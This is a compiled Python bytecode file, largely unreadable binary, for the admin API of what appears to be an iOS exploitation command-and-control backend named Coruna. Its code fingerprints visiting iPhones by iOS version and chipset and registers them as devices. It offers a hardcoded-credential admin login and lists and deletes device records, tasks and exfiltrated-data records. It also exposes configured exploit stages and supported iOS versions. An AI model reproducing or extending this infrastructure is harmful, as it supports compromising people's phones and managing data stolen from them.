a
    ?jµ7  ã                   @   sê  d Z ddlmZmZmZmZmZmZ ddlm	Z	m
Z
 ddlmZ ddlmZ ddlmZmZ ddlmZmZ ddlmZ dd	lZdd	lZdd
lmZ eƒ ZeddgdZe	ddZedœdd„Zedœdd„Zeeƒfedœdd„Z e !d¡eƒ fe
dœdd„ƒZ"g Z#edœdd„Z$e !d¡eeƒfeed œd!d"„ƒZ%e &d#¡d	ee ƒeeƒfeeed$œd%d&„ƒZ'e (d#¡d'ee ƒeeƒfe)eed(œd)d*„ƒZ*ej(d+ej+d,ee ƒeeƒfeed-œd.d/„ƒZ,ej(d0eej- d,dd'd	ee ƒeeƒfe)e)eeed1œd2d3„ƒZ.e (d4¡ee ƒeeƒfeeed5œd6d7„ƒZ/ej(d8eej0 d,dd'ee ƒeeƒfee)e)eed9œd:d;„ƒZ1e (d<¡dd'ee ƒeeƒfe)e)eed=œd>d?„ƒZ2ej(d@eej3 d,dd'ee ƒeeƒfee)e)eed9œdAdB„ƒZ4ej(dCeej3 d,dd'd	ee ƒeeƒfe)e)eeedDœdEdF„ƒZ5ej(dGeej6 d,dd'd	ee ƒeeƒfe)e)eeed1œdHdI„ƒZ7e &dJ¡ee ƒeeƒfeeed5œdKdL„ƒZ8e &dM¡ee ƒeeƒfe)eedNœdOdP„ƒZ9e &dQ¡ee ƒeeƒfe)eedRœdSdT„ƒZ:e (dU¡ee ƒfedVœdWdX„ƒZ;d	S )Yu   ç®¡ç†å‘˜ API è·¯ç”±é    )Ú	APIRouterÚDependsÚHTTPExceptionÚstatusÚBodyÚRequest)ÚOAuth2PasswordBearerÚOAuth2PasswordRequestForm)ÚSession)ÚList)ÚdatetimeÚ	timedelta)ÚJWTErrorÚjwt)Úget_dbN)Ú
get_configz
/api/adminÚadmin)ÚprefixÚtagsz/api/admin/login)ÚtokenUrl©Údatac                 C   sB   |   ¡ }t ¡ ttjd }| d|i¡ tj|tj	tj
d}|S )u   åˆ›å»ºè®¿é—®ä»¤ç‰Œ)ÚminutesÚexp)Ú	algorithm)Úcopyr   Úutcnowr   ÚconfigÚACCESS_TOKEN_EXPIRE_MINUTESÚupdater   ÚencodeÚ
SECRET_KEYÚ	ALGORITHM)r   Z	to_encodeÚexpireZencoded_jwt© r$   ú&/root/Coruna-main/backend/api/admin.pyÚcreate_access_token   s
    r&   )Útokenc                 C   s6   zt j| tjtjgd}|W S  ty0   Y dS 0 dS )u   éªŒè¯ä»¤ç‰Œ)Z
algorithmsN)r   Údecoder   r!   r"   r   )r'   Úpayloadr$   r$   r%   Úverify_token   s
    r*   c                 C   s,   t tjdddid}t| ƒ}|du r(|‚|S )u   èŽ·å–å½“å‰ç®¡ç†å‘˜zCould not validate credentialsúWWW-AuthenticateÚBearer©Ústatus_codeÚdetailÚheadersN)r   r   ÚHTTP_401_UNAUTHORIZEDr*   )r'   Zcredentials_exceptionr)   r$   r$   r%   Úget_current_admin'   s    ýr2   z/login)Ú	form_datac                 C   sJ   | j tjks| jtjkr,ttjdddid‚td| j id}|d| j dœS )	u6   
    ç®¡ç†å‘˜ç™»å½•è®¤è¯
    è¿”å›žè®¿é—®ä»¤ç‰Œ
    zIncorrect username or passwordr+   r,   r-   Úsubr   Úbearer)Úaccess_tokenÚ
token_typeÚusername)	r8   r   Ú
ADMIN_USERÚpasswordÚ
ADMIN_PASSr   r   r1   r&   )r3   r6   r$   r$   r%   Úlogin6   s    ýýr<   )Ú
user_agentc                 C   sæ   ddl }ddddœ}| d| ¡}|rX| d¡}| d¡rB| d¡nd}|› d	|› |d
< d| v r| d| ¡}|rˆd| d¡ ¡  |d< nd|d< |d
 rât|d
  d	¡d ƒ}|dkrÀd|d< n"|dkrÒd|d< n|dkrâd|d< |S )u&   ä»Ž User-Agent è§£æž iOS è®¾å¤‡ä¿¡æ¯r   NZUnknown)Úios_versionÚdevice_modelÚchipsetziPhone OS (\d+)[_]?(\d*)é   é   Ú0Ú.r>   ÚiPhoneziPhone\s*([\w\s]+?)(?:\s+|$|,)ziPhone r?   é   zA17/A18r@   é   zA15/A16é   zA13/A14)ÚreÚsearchÚgroupÚstripÚfloatÚsplit)r=   rI   ÚinfoÚmatchÚmajorÚminorZmodel_matchÚverr$   r$   r%   Úparse_ios_infoN   s0    ý


rT   z/logs/record)ÚrequestÚdbc              
   Ã   sæ  | j  dd¡}z(|  ¡ I dH }t|tƒr4| d|¡}W n   Y n0 z(tj|| jj|| j  dd¡ddd W n2 t	yž } zt
d	|› ƒ W Y d}~n
d}~0 0 d
|v sºd|v sºd|v r’z¢t|ƒ}ddl}| jj› d|› }| | ¡ ¡ ¡ dd… }t ||¡}	|	sLddlm}
 |
||d |d |d}tj||| jjd}| ¡  nt ||d¡ W n4 t	y } zt
d|› ƒ W Y d}~n
d}~0 0 t ¡  ¡ | jj|| j  dd¡dddœ}t |¡ ttƒdkrÜt d¡ dddœS )uv   
    è®°å½•è®¿é—®æ—¥å¿— - å…¬å¼€ç«¯ç‚¹
    group.html é¡µé¢åŠ è½½æ—¶è°ƒç”¨
    åŒæ—¶åˆ›å»ºæˆ–æ›´æ–°è®¾å¤‡è®°å½•
    z
user-agentÚ NZ	userAgentÚrefererz/group.htmlÚPOST)rV   Úipr=   rX   ÚpathÚmethodzError saving access log: rE   ZiPadZiPodr   ú:é    )ÚDeviceRegisterr?   r>   )Údevice_uuidr?   r>   r=   )rZ   ÚonlinezError saving device: )Ú	timestamprZ   r=   rX   r[   r\   iè  T)ÚokZlogged)r0   ÚgetÚjsonÚ
isinstanceÚdictÚcrudÚcreate_access_logÚclientÚhostÚ	ExceptionÚprintrT   ÚhashlibÚmd5r    Ú	hexdigestÚ
get_deviceÚschemasr_   Úcreate_deviceÚcommitÚupdate_device_statusr   r   Ú	isoformatÚaccess_logsÚappendÚlenÚpop)rU   rV   r=   ÚbodyÚeZios_inforn   Z
unique_strr`   Zexisting_devicer_   Zdevice_dataÚdeviceZ	log_entryr$   r$   r%   Úrecord_accessu   sb    
ú
$ü
$
ú	

r~   z/logs/access)Úidsr   rV   c              
   C   sz   | rfz$dd„ |   d¡D ƒ}t ||¡}W qp tyb } z"tddt|ƒ› d‚W Y d}~qpd}~0 0 n
t |¡}d|d	œS )
u~   
    åˆ é™¤è®¿é—®æ—¥å¿—
    - å¦‚æžœæŒ‡å®šIDsï¼Œåˆ™åˆ é™¤æŒ‡å®šæ—¥å¿—
    - å¦‚æžœä¸æŒ‡å®šï¼Œåˆ™æ¸…ç©ºæ‰€æœ‰è®¿é—®æ—¥å¿—
    c                 S   s$   g | ]}|  ¡  ¡ rt|  ¡ ƒ‘qS r$   )rL   ÚisdigitÚint)Ú.0Úxr$   r$   r%   Ú
<listcomp>Ñ   ó    z&delete_access_logs.<locals>.<listcomp>ú,i  u   åˆ é™¤å¤±è´¥: ©r.   r/   NT)rc   Údeleted)rN   rh   Údelete_access_logsrl   r   Ústr)r   r   rV   Úlog_idsÚcountr|   r$   r$   r%   r‰   Ä   s    .
r‰   éd   )Úlimitr   rV   c                 C   s.   t tƒ| krt|  d… nt}dt tƒ|dœS )u   
    èŽ·å–è®¿é—®æ—¥å¿—
    NT)rc   ÚtotalÚlogs)ry   rw   )rŽ   r   rV   r   r$   r$   r%   Úget_access_logsÛ   s
    	ýr‘   z/stats)Úresponse_model©r   rV   c                 C   s
   t  |¡S )u]   
    èŽ·å–ä»ªè¡¨ç›˜ç»Ÿè®¡æ•°æ®
    åŒ…æ‹¬è®¾å¤‡ã€ä»»åŠ¡ã€å¤–æ³„æ•°æ®ç­‰ç»Ÿè®¡ä¿¡æ¯
    )rh   Úget_admin_statsr“   r$   r$   r%   Ú	get_statsì   s    r•   z/devices)ÚskiprŽ   r   r   rV   c                 C   sf   |rVddl m} tddgdj}| |¡ |j|k¡ ||jƒ¡ 	| ¡ 
|¡ ¡ }|S tj|| |dS )u'   èŽ·å–æ‰€æœ‰è®¾å¤‡åˆ—è¡¨ï¼ˆç®¡ç†å‘˜ï¼‰r   ©Údescú..modelsÚDevice©Úfromlist©r–   rŽ   )Ú
sqlalchemyr˜   Ú
__import__rš   ÚqueryÚfilterr   Úorder_byÚ	last_seenÚoffsetrŽ   Úallrh   Úget_devices)r–   rŽ   r   r   rV   r˜   rš   Údevicesr$   r$   r%   Úlist_all_devicesõ   s    	
ÿþþþr¨   z/devices/{device_uuid}/detail©r`   r   rV   c                 C   sn   t  || ¡}|stddd‚t  || ¡}t j|| ddd}t j|| ddd}t j|| ddd}|||||dœS )	u'   èŽ·å–è®¾å¤‡è¯¦ç»†ä¿¡æ¯ï¼ˆç®¡ç†å‘˜ï¼‰é”  úDevice not foundr‡   r   é
   r   é   )r}   Údata_countsÚrecent_tasksÚrecent_exfilÚrecent_logs)rh   rq   r   Úget_device_data_countsÚget_device_tasksÚget_device_exfilÚget_device_logs)r`   r   rV   r}   r®   r¯   r°   r±   r$   r$   r%   Úget_device_detail  s    ûr¶   z/logs/{device_uuid}©r`   r–   rŽ   r   rV   c                 C   s   t j|| ||dS )u'   èŽ·å–æŒ‡å®šè®¾å¤‡æ—¥å¿—ï¼ˆç®¡ç†å‘˜ï¼‰r   )rh   rµ   r·   r$   r$   r%   Úget_device_logs_admin(  s    	r¸   z/logs)r–   rŽ   r   rV   c                 C   sÎ   t j|| |d}t j|| |d}g }|D ]B}| d|j› d|jrL|j ¡ nd|j|jpZd|j	|j
dœ¡ q(|D ]>}| d|j› d|jr”|j ¡ nd|j|j|j|jdœ¡ qp|jd	d
„ dd |d|… S )uP   èŽ·å–æ‰€æœ‰æ—¥å¿—ï¼ˆç®¡ç†å‘˜ï¼‰- è¿”å›žè®¿é—®æ—¥å¿—å’Œæ•°æ®åº“æ—¥å¿—çš„ç»„åˆr   Zaccess_ÚaccessrW   )ÚidÚtyperb   rZ   r=   r[   r\   Zdb_r}   )rº   r»   rb   r`   ÚstageÚmessageÚ	log_levelc                 S   s   | d S )Nrb   r$   )rƒ   r$   r$   r%   Ú<lambda>^  r…   zget_all_logs.<locals>.<lambda>T)ÚkeyÚreverseN)rh   r‘   Úget_all_logsrx   rº   Ú
created_atrv   rZ   r=   r[   r\   r`   r¼   r½   r¾   Úsort)r–   rŽ   r   rV   Zaccess_logs_dbZdevice_logs_dbZcombinedÚlogr$   r$   r%   rÂ   4  s2    	
ù

ù
rÂ   z/exfil/{device_uuid}c                 C   s   t j|| ||dS )u-   èŽ·å–æŒ‡å®šè®¾å¤‡å¤–æ³„æ•°æ®ï¼ˆç®¡ç†å‘˜ï¼‰r   )rh   r´   r·   r$   r$   r%   Úget_device_exfil_adminc  s    	rÆ   z/exfil©r–   rŽ   Úcategoryr   rV   c                 C   s&   |rt j||| |dS t j|| |dS )u'   èŽ·å–æ‰€æœ‰å¤–æ³„æ•°æ®ï¼ˆç®¡ç†å‘˜ï¼‰r   )rh   Úget_exfil_by_categoryÚ	get_exfilrÇ   r$   r$   r%   Úget_all_exfilo  s    	rË   z/tasksc                 C   sx   ddl m} ddlm} |rR| |¡ |j|k¡ ||jƒ¡ 	| ¡ 
|¡ ¡ }|S | |¡ ||jƒ¡ 	| ¡ 
|¡ ¡ S )u'   èŽ·å–æ‰€æœ‰ä»»åŠ¡åˆ—è¡¨ï¼ˆç®¡ç†å‘˜ï¼‰r   r—   )ÚTask)rž   r˜   ÚmodelsrÌ   r    r¡   r   r¢   rÃ   r¤   rŽ   r¥   )r–   rŽ   r   r   rV   r˜   rÌ   Útasksr$   r$   r%   Úget_all_tasks_admin}  s    	
ÿþþþrÏ   z/devices/{device_uuid}c                 C   s&   t  || ¡rdddœS tddd‚dS )u   åˆ é™¤è®¾å¤‡ï¼ˆç®¡ç†å‘˜ï¼‰TzDevice deleted©rc   r½   rª   r«   r‡   N)rh   Údelete_devicer   r©   r$   r$   r%   Údelete_device_admin’  s    
rÒ   z/tasks/{task_id}©Útask_idr   rV   c                 C   s&   t  || ¡rdddœS tddd‚dS )u   åˆ é™¤ä»»åŠ¡ï¼ˆç®¡ç†å‘˜ï¼‰TzTask deletedrÐ   rª   zTask not foundr‡   N)rh   Údelete_taskr   rÓ   r$   r$   r%   Údelete_task_adminž  s    
rÖ   z/exfil/{exfil_id})Úexfil_idr   rV   c                 C   s–   t ddgdj}| |¡ |j| k¡ ¡ }|s:tddd‚ddl}|jrz|j	 
|j¡rzz| |j¡ W n tyx   Y n0 | |¡ | ¡  d	d
dœS )u!   åˆ é™¤å¤–æ³„æ•°æ®ï¼ˆç®¡ç†å‘˜ï¼‰r™   ÚExfilr›   rª   zExfil record not foundr‡   r   NTzExfil record deletedrÐ   )rŸ   rØ   r    r¡   rº   Úfirstr   ÚosÚ	file_pathr[   ÚexistsÚremoverl   Údeletert   )r×   r   rV   rØ   ÚexfilrÚ   r$   r$   r%   Údelete_exfil_adminª  s    
rà   z/config©r   c                 C   s   t jt jt jt jt jdœS )u!   èŽ·å–é…ç½®ä¿¡æ¯ï¼ˆç®¡ç†å‘˜ï¼‰)Z
server_urlZsupported_versionsÚexploit_stagesZtask_timeoutZheartbeat_interval)r   ÚCORUNA_SERVER_URLÚSUPPORTED_IOS_VERSIONSÚEXPLOIT_STAGESÚTASK_TIMEOUTÚHEARTBEAT_INTERVALrá   r$   r$   r%   Úget_config_infoÆ  s    ûrè   )<Ú__doc__Úfastapir   r   r   r   r   r   Zfastapi.securityr   r	   Zsqlalchemy.ormr
   Útypingr   r   r   Zjoser   r   Údatabaser   rh   rr   r   r   ÚrouterZoauth2_schemerg   r&   rŠ   r*   r2   Úpostr<   rw   rT   r~   rÞ   r‰   rd   r   r‘   Ú
AdminStatsr•   Ú	DeviceOutr¨   r¶   ÚDeviceLogOutr¸   rÂ   ÚExfilOutrÆ   rË   ÚTaskOutrÏ   rÒ   rÖ   rà   rè   r$   r$   r$   r%   Ú<module>   s*   
		'Nýýýý ûûýýûûüü.ûûûûûûýýýýýý